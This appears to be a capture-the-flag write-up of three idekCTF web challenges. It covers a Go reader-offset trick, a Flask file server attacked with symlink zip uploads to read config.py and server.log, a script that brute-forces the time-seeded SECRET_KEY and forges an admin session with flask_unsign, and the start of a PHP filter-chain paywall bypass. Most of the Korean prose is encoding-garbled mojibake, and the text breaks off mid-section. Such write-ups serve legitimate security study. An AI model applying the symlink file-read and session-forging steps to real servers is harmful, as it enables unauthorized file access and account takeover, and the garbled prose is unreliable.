Web/Readme
μ½λ νλνλ μ²μ²ν λ°λΌκ° 보λλ‘ νκ² λ€.
func main() {
initRandomData()
http.HandleFunc("/just-read-it", justReadIt)
}
/
λ‘ μ΄λνλ©΄ μ무κ²λ μμ΄μ 404κ° λ¬λ€. /just-read-it
μ μ²λ¦¬νλ νΈλ€λ¬κ° 보μΈλ€.
func justReadIt(w http.ResponseWriter, r *http.Request) {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}
...
}
Body κ°μ΄ μκ±°λ, Body κ°μ JSON λμ½λ© ν κ°μ΄ μ ν¨νμ§ μμΌλ©΄ 500 μλ¬λ₯Ό λ°ννλ€.
type ReadOrderReq struct {
Orders []int `json:"orders"`
}
μ΄λ λμ½λ© ν JSONμ order
μ΄λ¦μ κ°μ§ μ μ λ°°μ΄μ΄ μμ΄μΌ νλ€.
const (
MaxOrders = 10
)
func justReadIt(w http.ResponseWriter, r *http.Request) {
...
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}
...
}
orders
λ°°μ΄ ν¬κΈ°κ° 10μ μ΄κ³Όνλ©΄ 500 μλ¬λ₯Ό λ°ννλ€.
reader := bytes.NewReader(randomData)
validator := NewValidator()
λλ€ λ°μ΄ν°λ₯Ό μμ±ν λ€μ μ¬μ©νκΈ° μν΄ reader
μΈμ€ν΄μ€λ₯Ό λ§λ€κ³ , orders
κ°μ κ²μ¦νκΈ° μν Validator struct μΈμ€ν΄μ€λ₯Ό λ§λ λ€.
func justReadIt(w http.ResponseWriter, r *http.Request) {
...
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
...
}
orders
λ°°μ΄μ μλ κ°λ§νΌ reader
λ‘ λ°μ΄ν°λ₯Ό μ½λλ€.
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
μ½κΈ° μ μ λ°°μ΄μμ κ°μ Έμ¨ κ°μ΄ 0 μ΄νμ΄κ±°λ 100μ μ΄κ³Όνλμ§ νμΈνλ€.
func justReadIt(w http.ResponseWriter, r *http.Request) {
...
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}
μμμ μ¬μ©ν reader
λ₯Ό κ³μ μ¬μ©νλ©΄μ Validate
λ₯Ό μ§ννλ€.
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
Validate
μμ reader
μμ 32λ°μ΄νΈ λ§νΌμ μ½μ΄μ password
μ λΉκ΅νλ€. λΉκ΅ν΄μ λμΌνλ©΄ FLAG
λ₯Ό λ°ννλ€.
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}
νλ‘κ·Έλ¨μ΄ μ΅μ΄λ‘ μ€νλ λ μννλ initRandomData
ν¨μλ 1337 μλ κ°μ λ°νμΌλ‘ 24576 λ°μ΄νΈμ λμ λ²νΌλ₯Ό μμ±ν λ€μ, λ²νΌμ 12625 μ€νμ
μ password
κ°μ 볡μ¬νλ€.
κ·ΈλΌ orders
λ₯Ό ν΅ν΄ reader
λ₯Ό 12625 μ€νμ
κΉμ§ μ΄λνκ²λ κ°μ μ
λ ₯νλ©΄ Validate
ν¨μλ₯Ό ν΅κ³Όν μ μμμ μ μ μλ€. λ¬Έμ λ orders λ°°μ΄μ κΈΈμ΄κ° 10μΌλ‘ νμ λμ΄ μμκ³Ό orders λ°°μ΄ μμ κ°μ΄ 1λΆν° 100 μ¬μ΄λ‘ μ νλμ΄ μλ€λ κ²μ΄λ€.
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}
Validator
structμ Read
ν¨μλ₯Ό 보면, GetValidatorCtxData
λ‘ λΆν° reader μΈμ€ν΄μ€μ size κ°μ λ°μμ€λ κ²μ λ³Ό μ μλ€.
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}
GetValidatorCtxData
λ₯Ό 보면, size
κ° 100 μ΄μμΌ κ²½μ° bufio
ν¨ν€μ§μ NewReader
ν¨μλ₯Ό ν΅ν΄ reader
μ μ μΈμ€ν΄μ€λ₯Ό λΆμ¬νλ κ²μ λ³Ό μ μλ€.
NewReader
ν¨μλ₯Ό μ¬μ©ν λ size
κ°μ λͺ
μνμ§ μμ defaultBufSize
μ μ¬μ©νκ² λλλ°, μ΄ κ°μ 4096μ΄λ€. μ¦, orders
λ°°μ΄μ 100μ λ£μΌλ©΄ NewReader
λ₯Ό μ¬μ©νλ©΄μ defaultBufSize
λ§νΌ reader
μ 컀μλ₯Ό μ΄λμν¬ μ μμΌλ―λ‘ password
κ°μ΄ μλ 12625 μ€νμ
κΉμ§ reader
μ 컀μλ₯Ό μ΄λ μν¬ μ μλ κ²μ΄λ€.
Fiddler
κ³μ°νλ©΄ [100, 100, 100, 99, 99, 99, 40]
μΌλ‘ 12625 μ€νμ
κΉμ§ reader
μ 컀μλ₯Ό μ΄λ μν¬ μ μλ€.
Web/SimpleFileServer
Upload νμ΄μ§
νμΌμ μ λ‘λν μ μλ μλ²μ΄λ€.
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")
ZIP νμΌμ μ
λ‘λ νλ©΄ linuxμ unzipμΌλ‘ {DATA_DIR}uploads/{uuidpath}
κ²½λ‘μ νμΌμ νΌλ€.
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)
νΌ νμΌμ μμ μλ λΌμ°ν μ½λλ‘ μ΄λν μ μλλ‘ λ§λ€μ΄λ¨λ€.
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")
νλκ·Έλ₯Ό νλνκΈ° μν΄μ μΈμ
μ admin
κ°μ True
λ‘ λ§λ€μ΄μΌ νλ€.
CMD bash -c "mkdir /tmp/uploadraw /tmp/uploads && sqlite3 /tmp/database.db \"CREATE TABLE users(username text, password text, admin boolean)\" && /usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py --log-file /tmp/server.log wsgi:app"
gunicorn
μ flask
λ₯Ό λ¬Όλ €μ μλ²λ₯Ό ꡬννλλ°, /tmp/server.log
μ μλ² λ‘κ·Έλ₯Ό μ μ₯νλλ‘ κ΅¬μ±νμλ€.
import random
import os
import time
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
SECRET_OFFSET
κ³Ό μλ²λ₯Ό μμν μμ μ κ°μ λν κ°μ random.seed
λ‘ μ€μ ν λ€μ, 32 κΈΈμ΄μ 16μ§μ μ«μλ₯Ό μμ±ν΄ flask
μ SECRET_KEY
λ‘ μ¬μ©νκ³ μλ€.
μ΄λμλΆν° μμν κΉ
flask
μ SECRET_KEY
λ₯Ό seed
λ₯Ό μ
λ ₯ν λλ€ λͺ¨λμμ μμ±νλ κ²μ ν΅ν΄ SECRET_KEYλ₯Ό μ¬νν μ μμμ μ μ μλ€. λν [config.py](http://config.py)
μμ μμ λ SECRET_OFFSET
κ°μ seed
λ₯Ό μ
λ ₯ν λ μ¬μ©νλ κ²μ ν΅ν΄ μ€μλ²μ μλ config.py
νμΌμ μ μΆ μμΌμΌ ν¨μ μ μΆν μ μλ€.
Linuxμμλ μ¬λ³Όλ¦ λ§ν¬ λν zip
컀맨λλ‘ μμΆν μ μλ€. μ¬λ³Όλ¦ λ§ν¬λ₯Ό μμΆν νμΌμ΄ μλ²λ‘ μ
λ‘λ λλ©΄ unzip
컀맨λλ‘ μμΆ ν΄μ λλ©΄μ {DATA_DIR}uploads/{uuidpath}
μ μμΉνκ² λλλ°, μ΄λ μ¬λ³Όλ¦ λ§ν¬ κΈ°λ₯ λν κ·Έλλ‘ μ μ§λλ€. μ μΆνκ³ μΆμ νμΌμ μ¬λ³Όλ¦ λ§ν¬λ₯Ό μμ±νκ³ μμΆν λ€μ μ¬λ¦¬λ©΄ μ΄λν μ μλ κ²μ΄λ€.
$ ln -s /tmp/server.log 1
$ ln -s /app/config.py 2
$ zip --symlink exp.zip 1 2
adding: 1 (stored 0%)
adding: 2 (stored 0%)
μ μΆν΄μΌ λ νμΌμ random.seed
μ λ€μ΄κ° κ°μ΄λ [config.py](http://config.py)
νμΌκ³Ό μλ² λ‘κ·Έκ° μ μ₯λ server.log
νμΌμ΄λ€. ν΄λΉ νμΌμ κ°λ¦¬ν€λ μ¬λ³Όλ¦ λ§ν¬λ₯Ό μμ±ν λ€μ zip
컀맨λλ‘ μμΆνλ€.
μμ±ν μμΆνμΌμ μλ²μ μ¬λ¦° λ€μ νμΌμ μ κ·Όνλ©΄ νμΌ λ΄μ©μ μ΄λν μ μλ€.
Upload νμ΄μ§
http://simple-file-server.chal.idek.team:1337/uploads/5f1cbf35-5598-45ba-93d2-2c62c240a6ae/1
http://simple-file-server.chal.idek.team:1337/uploads/5f1cbf35-5598-45ba-93d2-2c62c240a6ae/2
time.time()
μ λ¦¬ν΄ κ°μ Unix Timestamp κ°μ΄λ―λ‘ server.log
μμ νμΈν μλ² μκ°μ λ³ννλ€.
https://www.unixtimestamp.com/
νλν κ°μ λ°νμΌλ‘ SECRET_KEYλ₯Ό μμ±νλ μ½λλ₯Ό μ§ λ€.
time.time()
μΌλ‘ κ°μ Έμ¨ μκ° κ°μ΄server.log
μ μ°ν λΉμμ μ°¨μ΄κ° μμ μ μμΌλ, μ΄λ μ λ κ·Έ μκ°μ μ΄μ κ°μΌλ‘ Bruteforceλ₯Ό μ§νν΄μΌ νλ€.time.time()
μ 리ν΄κ°μround()
ν¨μλ‘ ms κ°κΉμ§ ν¬ν¨νκΈ° λλ¬Έμ 0.001 λ¨μλ‘ Bruteforce μ¦κ°ν΄μΌ νλ€.SECRET_KEY
λ‘ μΈμ κ°μ μμ±νκ³ κ²μ¦ν λ https://github.com/Paradoxis/Flask-Unsign μ μ¬μ©νλ€.- Bruteforce λμ€ μμ±ν
SECRET_KEY
κ°μ΄ μ€μλ²μ μλSECRET_KEY
μ λμΌνμ§ μ²΄ν¬νκΈ° μν΄ μ€μλ²μμ μ¬μ© μ€μΈ μΈμ μΏ ν€ κ°μ κ°μ Έμ μμ±ν κ°μΌλ‘verify
λ₯Ό μ§ννλ€. - λ§μ½
verify
νμλ μ μμ μ΄λ©΄ ν΄λΉ ν€κ° λ§λκ±°λκΉ κ·Έκ±Έλ‘admin
κ°μ΄True
μΈ μΈμ μsign
μΌλ‘ μμ±νλ€
import random
from flask_unsign import session
any_session = "eyJhZG1pbiI6bnVsbCwidWlkIjoiMSJ9.Y8d5Ng.sxCa3w5iiiDL1kjkkIndvtLYd8M"
SECRET_OFFSET = -67198624
time = 1673997221 # [2023-01-17 23:13:41 +0000] UTC μ£Όμ
while True:
new_time = round(time, 3)
new_seed = round((new_time + SECRET_OFFSET) * 1000)
print(new_seed, end="\r")
random.seed(round((new_time + SECRET_OFFSET) * 1000))
secret = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
if session.verify(any_session, secret):
print("[+] Found SECRET_KEY: " + secret)
new_session = {"admin": True, "uid": 1}
print("[+] Created Session: " + session.sign(new_session, secret))
break
time += 0.001
λ΄κ° μμ±ν μ½λλ₯Ό μ€ννλ©΄?
http://simple-file-server.chal.idek.team:1337/flag
Web/Paywall
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
p
λ‘ λ°μ κ°μ΄ file_get_contents
μ μΈμλ‘ μ λ¬λκΈ° λλ¬Έμ PHP filter ν¨μλ‘ λ¬΄μΈκ°λ₯Ό ν μ μμ κ²μΌλ‘ 보μΈλ€. κ·Έλ¬λ νλκ·Έκ° μλ νμΌμ λ‘λ© νλ©΄ strpos
ν¨μ λλ¬Έμ νν°λ§μ 걸리기 λλ¬Έμ, μ΄λ₯Ό μ°ν ν μ μλ 무μΈκ°κ° νμνλ€.
PHP filter chainμ΄λκ² μλλ°, μΈμ½λ© μ€ λ°μνλ κ°μ νμ©ν΄ 무μμ μ λ₯Ό μ°½μ‘°νλ μ λ°ν κΈ°λ²μ΄λ€.